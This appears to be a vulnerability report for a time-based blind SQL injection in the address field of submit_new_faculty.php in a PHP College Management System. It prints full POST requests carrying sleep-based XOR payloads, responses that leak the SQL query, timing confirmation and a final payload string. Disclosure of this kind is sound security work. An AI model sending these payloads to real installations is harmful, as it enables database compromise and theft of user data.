

SQL injection vulnerability exists in address parameter of submit_new_faculty.php file of College Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

Request

```
1 POST /cmsa/submit_new_faculty.php HTTP/1.1
2 Content-Type: multipart/form-data;
  boundary=-----YwJkMTQzNDcw
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.209.1/cmsa
5 Cookie: PHPSESSID=0hmfD9amcmumd16gsjs2k06ehe
6 Content-Length: 1584
7 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
8 Accept-Encoding: gzip,deflate,br
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0
  Safari/537.36
10 Host: 192.168.30.1
11 Connection: Keep-alive
12 -----YwJkMTQzNDcw
13 Content-Disposition: form-data; name="address"
14
15 0'XOR(if(now())=sysdate(),sleep(4),0))XOR'Z
16 -----YwJkMTQzNDcw
17 Content-Disposition: form-data; name="admin"
18
19
20 555
21 -----YwJkMTQzNDcw
22 Content-Disposition: form-data; name="awards"
23
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Fri, 10 May 2024 13:50:47 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 467
8
9 Error: INSERT INTO new_faculty (fullname, gender, dob,
  phone, email, address, degree, institution, major,
  experience, teaching, research, admin, memberships,
  awards,username,password,usertype) VALUES ('ZMskyuza',
  'male', '1967/1/1', '555-666-0606',
  'testing@example.com',
  '0'XOR(if(now())=sysdate(),sleep(4),0))XOR'Z', '1',
  'ZMskyuza', '1', '555', '555', '555', '555',
  '555', 'ZMskyuza', 'u]H[ww6KrA9F.x-F', 'faculty')<br>
  Truncated incorrect INTEGER value: 'Z'
```

Done 656 bytes | 4,044 millis

Sleep time is 8s:

Request

```
1 POST /cmsa/submit_new_faculty.php HTTP/1.1
2 Content-Type: multipart/form-data;
  boundary=-----YwJkMTQzNDcw
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.209.1/cmsa
5 Cookie: PHPSESSID=0hmfD9amcmumd16gsjs2k06ehe
6 Content-Length: 1584
7 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
8 Accept-Encoding: gzip,deflate,br
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0
  Safari/537.36
10 Host: 192.168.30.1
11 Connection: Keep-alive
12 -----YwJkMTQzNDcw
13 Content-Disposition: form-data; name="address"
14
15 0'XOR(if(now())=sysdate(),sleep(8),0))XOR'Z
16 -----YwJkMTQzNDcw
17 Content-Disposition: form-data; name="admin"
18
19
20 555
21 -----YwJkMTQzNDcw
22 Content-Disposition: form-data; name="awards"
23
24 555
25 -----YwJkMTQzNDcw
26 Content-Disposition: form-data; name="degree"
27
28 1
29 -----YwJkMTQzNDcw
30 Content-Disposition: form-data; name="dob"
31
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Fri, 10 May 2024 13:51:30 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 467
8
9 Error: INSERT INTO new_faculty (fullname, gender, dob,
  phone, email, address, degree, institution, major,
  experience, teaching, research, admin, memberships,
  awards,username,password,usertype) VALUES ('ZMskyuza',
  'male', '1967/1/1', '555-666-0606',
  'testing@example.com',
  '0'XOR(if(now())=sysdate(),sleep(8),0))XOR'Z', '1',
  'ZMskyuza', '1', '555', '555', '555', '555',
  '555', 'ZMskyuza', 'u]H[ww6KrA9F.x-F', 'faculty')<br>
  Truncated incorrect INTEGER value: 'Z'
```

Done 656 bytes | 8,004 millis

Payload: address=0'XOR(if(now())=sysdate(),sleep(8),0))XOR'Z

Source Download:

<https://www.kashipara.com/project/php/12746/college-management-system-php-project-source-code>